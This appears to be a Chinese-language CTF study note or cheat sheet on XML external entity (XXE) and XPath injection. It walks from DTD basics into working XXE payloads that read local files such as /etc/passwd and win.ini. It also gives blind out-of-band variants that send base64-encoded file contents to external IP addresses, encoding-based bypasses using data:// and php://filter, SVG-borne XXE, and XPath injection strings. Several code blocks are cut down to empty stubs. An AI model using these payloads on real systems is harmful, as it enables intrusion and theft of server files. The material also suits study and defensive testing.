Xml
xml 是一种标记语言,很类似于 HTML,结构化地存储、传输信息。
xml结构
xml的结构如下:
- 文档声明
- 文档类型定义(document type definition),它定义了 xml 的文档的格式,也就是 XXE 注入的漏洞所在。
- 文档元素
DTD文档
内外部
内部实体
1
2
3
4
5
6
7<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (aaa,bbb,ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>外部实体
1
2
3
4
5
6
7<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd">
<data>
<aaa>1<aaa>
<bbb>2<bbb>
<ccc>3<ccc>
</data>这里 引用支持 file/http/php 等协议。
内外部 DTD 文档结合
1
2
3
4
5
6
7
8<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd" [
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>
通用参数
通用实体
1
2
3
4
5
6
7<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>这里在 DTD 中被定义,在 xml 中用
&引用。参数实体
1
2
3<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;使用
% name在 DTD 中定义,在 DTD 中使用%name引用,并且可以引用其他实体当作自己的声明的一部分。
XXE注入
有回显的读文件
eg1
1 | <?xml version="1.0" encoding="UTF-8"?> |
eg2
1 | <?xml version="1.0" encoding="UTF-8"?> |
无回显的读文件
eg1
xxe.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> |
upload.xml
1 | <!DOCTYPE convert [ |
eg2
xxe.dtd
1 | <!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.120.42.156:1339/%file;'> "> |
upload.xml
1 | <!DOCTYPE test [ |
SVG 配合 XXE
1 |
|
bypass
双重实体编码
1
2
3
4
5
6
7
8
9
10
11<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % xml "<!ENTITY xxe SYSTEM "file:///flag.txt" >]> <core>       <message>&xxe;</message> </core>">
%xml;
]>
<!--编码内容-->
<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<core>
<message>&xxe;</message>
</core>data://协议
1
2
3
4
5<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content>111</content></comment>1
2
3
4
5
6
7
8
9
10<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMTguMjUuMTQuNDA6ODIwMC9oYWNrLmR0ZCc+">
%a;
%b;
]>
<test>&hhh;</test>
<!--编码内容-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>file://协议+文件上传
1
2
3
4
5
6
7
8<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>php://filter协议+文件上传
1
2
3
4
5
6
7
8
9
10
11<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>1
2
3
4
5
6
7
8
9
10
11<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
SVG
SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。
SVG是一种用XML定义的语言,使用 XML 格式定义图形。SVG 文件是纯粹的 XML。
有回显
1 | <?xml version="1.0" encoding="UTF-8"?> |
无回显
xxe.dtd
1 | <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" > |
xxe.svg
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
XXE触发Phar

xpath 注入
助攻函数
字符串相关
- codepoints-to-string(a, b, c, …):将数字 a、b、c 转为对应的字符, Python 的
chr函数类似。 - string-to-codepoints(string):与上面的相反
- compare(a, b, rule):比大小,func 是比较大小的规则
- string-join((string, string, …), sep):使用 sep 参数作为分隔符,来返回 string 参数拼接后的字符串。
- substring(string, start [,len]):返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
- string-length([string]):返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。
其他函数
- count(item[, item1, …]):返回节点的数量。
- position():返回当前正在被处理的节点的 index 位置。
- last():返回在被处理的节点列表中的项目数目。
- name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。
注入类型
永真条件
1 | ' or 1=1 or ''=' |
相当于闭合 单引号然后 1=1。
递归查询所有
1 | ']|//*|ss[' #获取所有节点 |
先闭合,//* 相当于递归查询所有的,然后最后一个限制空来闭合所有的。
布尔盲注
1 | import requests |
时间盲注
1 | # 如果条件成立,执行耗时操作 |
绕过命名空间
1 | <root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b"> |
分别属于 a 和 b 命名空间,就是说在XPath 查询时,如果不指定命名空间,就找不到这些元素。
local-name() 是 XPath 中的函数,返回不含命名空间前缀的标签名。
1 | ' or local-name()='user' or '1'='1 |